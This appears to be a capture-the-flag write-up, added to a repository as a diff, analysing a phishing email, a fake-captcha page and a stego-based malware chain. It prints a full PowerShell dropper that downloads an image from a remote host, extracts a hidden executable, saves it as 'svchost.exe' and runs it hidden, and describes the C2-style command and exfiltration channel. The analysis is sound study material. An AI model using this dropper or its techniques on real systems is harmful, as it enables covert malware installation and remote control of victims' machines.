|
| 1 | +### TASK.EML |
| 2 | + |
| 3 | +We received a `RFC 822 mail` file which initially was only 300kb in size and i thought this was going to be a super easy malware challenge but as the description suggests `Is this a rabbit? Or a cat? Or a crabbit.` I knew we might be looking forward to a rabbit hole. |
| 4 | + |
| 5 | +Opening the `.eml` file in VS code , we can see that it has an extremely large base64 encoded string ( 4000 lines ). |
| 6 | + |
| 7 | + |
| 8 | + |
| 9 | +but before that got my interest , I looked at the line above that read `Check out this cat <a href="[https://verifycert.task.sasc.tf/video/view.html](https://verifycert.task.sasc.tf/video/view.html)">video </a>` so as usual i clicked on the first link i saw which had absolutely nothing on the display but every time when i would reload the page , I would see slight glimpse of the captcha, but I wasn't able to click it which was suspicious but I ignored it because i thought it was just a red herring. |
| 10 | + |
| 11 | + |
| 12 | + |
| 13 | +Coming back to the `.eml` file and the big base64 |
| 14 | + |
| 15 | +Decoding the base64 string , we get an image of a rabbit, Indeed this guy is very cute but other than that he had nothing with him that would make him useful to us ( sorry bunny ). |
| 16 | + |
| 17 | + |
| 18 | + |
| 19 | +So i decided to check out the webpage we got before , maybe i missed something? Since the captcha was not visible properly the next step ( obviously ) would be to check out the page-source. |
| 20 | + |
| 21 | +It was all normal other than that there’s another link present that reads its a mp4 file [`https://verifycert.task.sasc.tf/video/cat_rabbit.mp4`](https://verifycert.task.sasc.tf/video/cat_rabbit.mp4) , well maybe we will see a bunny hopping around this time but to my horrors its was a `POWERSHELL` script!!! |
| 22 | + |
| 23 | +### POWERSHELL.PS1 |
| 24 | + |
| 25 | +Quickly opening the `ps1` file we found that it was base64 encoded too. |
| 26 | + |
| 27 | + |
| 28 | + |
| 29 | +Decoding it we get a pretty small PowerShell script - |
| 30 | +```powershell |
| 31 | +Add-Type -AssemblyName System.Drawing |
| 32 | +$wc = New-Object System.Net.WebClient |
| 33 | +[byte[]]$bytes = $wc.DownloadData('https://verifycert.task.sasc.tf/flag.png') |
| 34 | +$ms = New-Object System.IO.MemoryStream(,$bytes) |
| 35 | +$bmp = New-Object System.Drawing.Bitmap($ms) |
| 36 | +
|
| 37 | +function BitsToByte { |
| 38 | + param([bool[]]$bits, [int]$startIndex) |
| 39 | + $val = 0 |
| 40 | + for ($i = 0; $i -lt 8; $i++) { |
| 41 | + if ($bits[$startIndex + $i]) { $val = $val -bor (1 -shl $i) } |
| 42 | + } |
| 43 | + return [byte]$val |
| 44 | +} |
| 45 | +$bitList = New-Object 'System.Collections.Generic.List[bool]' |
| 46 | +for ($y = 0; $y -lt $bmp.Height; $y++) { |
| 47 | + for ($x = 0; $x -lt $bmp.Width; $x++) { |
| 48 | + $r = $bmp.GetPixel($x, $y).R |
| 49 | + [void]$bitList.Add(($r -band 1)) |
| 50 | + } |
| 51 | +} |
| 52 | +$bits = $bitList.ToArray() |
| 53 | +$sizeBytes = 0..3 | ForEach-Object { BitsToByte $bits ($_ * 8) } |
| 54 | +$payloadLen = [BitConverter]::ToInt32($sizeBytes, 0) |
| 55 | +$payload = New-Object byte[] $payloadLen |
| 56 | +for ($b = 0; $b -lt $payloadLen; $b++) { |
| 57 | + $payload[$b] = BitsToByte $bits (32 + $b * 8) |
| 58 | +} |
| 59 | +$dir = Join-Path $env:LOCALAPPDATA 'temp' |
| 60 | +$outFile = Join-Path $dir 'svchost.exe' |
| 61 | +[System.IO.File]::WriteAllBytes($outFile, $payload) |
| 62 | +Start-Process -FilePath $outFile -WindowStyle Hidden |
| 63 | +``` |
| 64 | +In a nutshell this script is - |
| 65 | +- Downloading an image from a remote server. |
| 66 | +- Extracting hidden data from the least significant bits (LSBs) of the image’s pixels. |
| 67 | +- Reconstructs a binary executable from the hidden data. |
| 68 | +- Saves it to disk as `svchost.exe`. |
| 69 | +- Silently executes the hidden payload. |
| 70 | + |
| 71 | +We see that there are 2 Important things |
| 72 | + |
| 73 | + 1. `https://verifycert.task.sasc.tf/flag.png` |
| 74 | + 2. `$outFile = Join-Path $dir 'svchost.exe'` |
| 75 | + |
| 76 | +Even if we don't dive deep into understanding the PowerShell script at first , we know that whatever is happening , its going to lead us to `svchost` so i decided to check out our flag.png url and well well well! just how i thought that we would run into a rabbit hole , we did. |
| 77 | + |
| 78 | + |
| 79 | + |
| 80 | +Well this is what i thought at first at least but after reading the rest of the PowerShell code, we can determine that this png is used to get `svchost.exe` so i download the file and asked GPT to write a script to extract the exe from the image based on what we understand from the script. |
| 81 | + |
| 82 | +```python |
| 83 | +#!/usr/bin/env python3 |
| 84 | +import os |
| 85 | +import requests |
| 86 | +from io import BytesIO |
| 87 | +from PIL import Image |
| 88 | + |
| 89 | +def bits_to_byte(bits, start_index): |
| 90 | + """Convert 8 bits in little-endian order starting at start_index into one byte.""" |
| 91 | + val = 0 |
| 92 | + for i in range(8): |
| 93 | + if bits[start_index + i]: |
| 94 | + val |= (1 << i) |
| 95 | + return val |
| 96 | + |
| 97 | +def main(): |
| 98 | + # 1) Download the PNG |
| 99 | + url = 'https://verifycert.task.sasc.tf/flag.png' |
| 100 | + resp = requests.get(url) |
| 101 | + resp.raise_for_status() |
| 102 | + print('open image') |
| 103 | + # 2) Load into a PIL image |
| 104 | + img = Image.open(BytesIO(resp.content)).convert('RGB') |
| 105 | + width, height = img.size |
| 106 | + print('Getting lsb') |
| 107 | + # 3) Extract LSBs of red channel into a flat list of 0/1 |
| 108 | + bits = [] |
| 109 | + for y in range(height): |
| 110 | + for x in range(width): |
| 111 | + r, _, _ = img.getpixel((x, y)) |
| 112 | + bits.append(r & 1) |
| 113 | + |
| 114 | + # 4) First 32 bits = little-endian 4-byte payload length |
| 115 | + size_bytes = bytes(bits_to_byte(bits, i * 8) for i in range(4)) |
| 116 | + payload_len = int.from_bytes(size_bytes, byteorder='little', signed=False) |
| 117 | + |
| 118 | + # 5) Extract the payload bytes |
| 119 | + payload = bytearray(payload_len) |
| 120 | + for i in range(payload_len): |
| 121 | + payload[i] = bits_to_byte(bits, 32 + i * 8) |
| 122 | + |
| 123 | + # 6) Write to disk (current directory) |
| 124 | + out_path = os.path.abspath('svchost.exe') |
| 125 | + with open(out_path, 'wb') as f: |
| 126 | + f.write(payload) |
| 127 | + |
| 128 | + print(f'Payload saved to: {out_path}') |
| 129 | + |
| 130 | +if __name__ == '__main__': |
| 131 | + main() |
| 132 | +``` |
| 133 | + |
| 134 | +My next step was to checkout this exe in virustotal to see the overall behavior since it was a malware challenge and we can see that it does `GET` and `PUT` for a file called `exfiltr8.txt` |
| 135 | + |
| 136 | + |
| 137 | + |
| 138 | +Opening them just gives us garbage text but it was most likely the thing that we might needed to decrypt somehow. |
| 139 | +We can also see that it does a shell command `"cmd" /C "type flag.txt"` but that was about it what virustotal could have helped us in but since we had the exe now , we weren't too far off the flag. |
| 140 | + |
| 141 | +### SVCHOST.EXE |
| 142 | + |
| 143 | +Checking out the `svchost.exe` , The file size is over 4MB and it is stripped, meaning all symbol information has been removed. To recover function names and better understand the code, I used the tool [Cerberus](https://github.com/h311d1n3r/Cerberus). This allowed me to recover approximately 30% of the functions. |
| 144 | + |
| 145 | +We can find that the program communicates with the following endpoints: `http://backupstorage.task.sasc.tf/in/exfiltr8.txt` & `http://backupstorage.task.sasc.tf/out/exfiltr8.txt`. |
| 146 | + |
| 147 | + |
| 148 | + |
| 149 | +The first request to the `in` endpoint succeeds, but the second request to the `out` endpoint fails with a 400 error (likely due to the server rejecting the file write) |
| 150 | + |
| 151 | + |
| 152 | + |
| 153 | +To analyze further, we can set up a simple WebDAV server using `wsgidav` to emulate the original server. I downloaded the `in/exfiltr8.txt` file and placed it in the corresponding directory. |
| 154 | + |
| 155 | +Using Process Monitor, I observed that the executable spawns a `cmd` process and runs the command `cmd /C "type flag.txt"`( which we already did find through Virus Total before ), originating from address `0x1402D4072` within `svchost.exe`. |
| 156 | + |
| 157 | + |
| 158 | + |
| 159 | + |
| 160 | + |
| 161 | +I created a test `flag.txt` file, and noticed that changes to this file resulted in different content being written to `out/exfiltr8.txt`. Also, the `type flag.txt` command itself changes depending on the content of `in/exfiltr8.txt`. |
| 162 | + |
| 163 | +This indicates that the binary is a remote code execution (RCE) malware. It downloads an instruction file from `/in/exfiltr8.txt`, decrypts and executes it, then encrypts the output and uploads it to `/out/exfiltr8.txt`. |
| 164 | + |
| 165 | +After some more reversing , my teammate tien determined that the `/in/exfiltr8.txt` content is decrypted using a function at `sub_1402C8550` to produce the command `type flag.txt`. Further debugging revealed that the function `sub_14004BCB0` is used to encrypt the flag. It takes the following parameters: |
| 166 | + |
| 167 | +```markdown |
| 168 | +- `a1`: output buffer |
| 169 | +- `a2`: the key, specifically the bytes: |
| 170 | + `09 DC 6E 7F 77 82 A4 B5 87 7B D0 26 7F C3 60 5F DF E1 26 B9 5A 46 C0 BE 63 D0 74 0E E8 0E EE 46` |
| 171 | +- `a3`: length of the key, 32 bytes |
| 172 | +- `a4`: input data (plaintext) |
| 173 | +- `a5`: input length |
| 174 | +``` |
| 175 | + |
| 176 | +The function implements a stream cipher algorithm similar to RC4, consisting of two phases: Key Scheduling Algorithm (KSA) and Pseudo-Random Generation Algorithm (PRGA). |
| 177 | + |
| 178 | +To reverse the encryption and recover the original plaintext, we used the following Python script: |
| 179 | +```python |
| 180 | +import base64 |
| 181 | + |
| 182 | +def rc4_crypt(key, data): |
| 183 | + S = list(range(256)) |
| 184 | + j = 0 |
| 185 | + for i in range(256): |
| 186 | + j = (j + S[i] + key[i % len(key)]) % 256 |
| 187 | + S[i], S[j] = S[j], S[i] |
| 188 | + |
| 189 | + output = bytearray(len(data)) |
| 190 | + i = j = 0 |
| 191 | + for k in range(len(data)): |
| 192 | + i = (i + 1) % 256 |
| 193 | + j = (j + S[i]) % 256 |
| 194 | + S[i], S[j] = S[j], S[i] |
| 195 | + t = (S[i] + S[j]) % 256 |
| 196 | + output[k] = data[k] ^ S[t] |
| 197 | + |
| 198 | + return output |
| 199 | + |
| 200 | +key = bytes.fromhex("09DC6E7F7782A4B5877BD0267FC3605FDFE126B95A46C0BE63D0740EE80EEE46") |
| 201 | +encrypted_data_base64 = "AYKd3hGoR6yEtRBeK6S8THh8QlqX/31kHPm1EK0OHRcMPJiQQLZ0dWWbkF5+Zg==" |
| 202 | +encrypted_data = base64.b64decode(encrypted_data_base64) |
| 203 | + |
| 204 | +decrypted_data = rc4_crypt(key, encrypted_data) |
| 205 | +print("Decrypted data", decrypted_data.decode('utf-8', errors='ignoree')) |
| 206 | +``` |
| 207 | + |
| 208 | +and Voila!!!! |
| 209 | + |
| 210 | +We get our flag : `SAS{c475_w17h_r4bb17_34r5_c4n_d3liv4r_m4lw4r3}` |
0 commit comments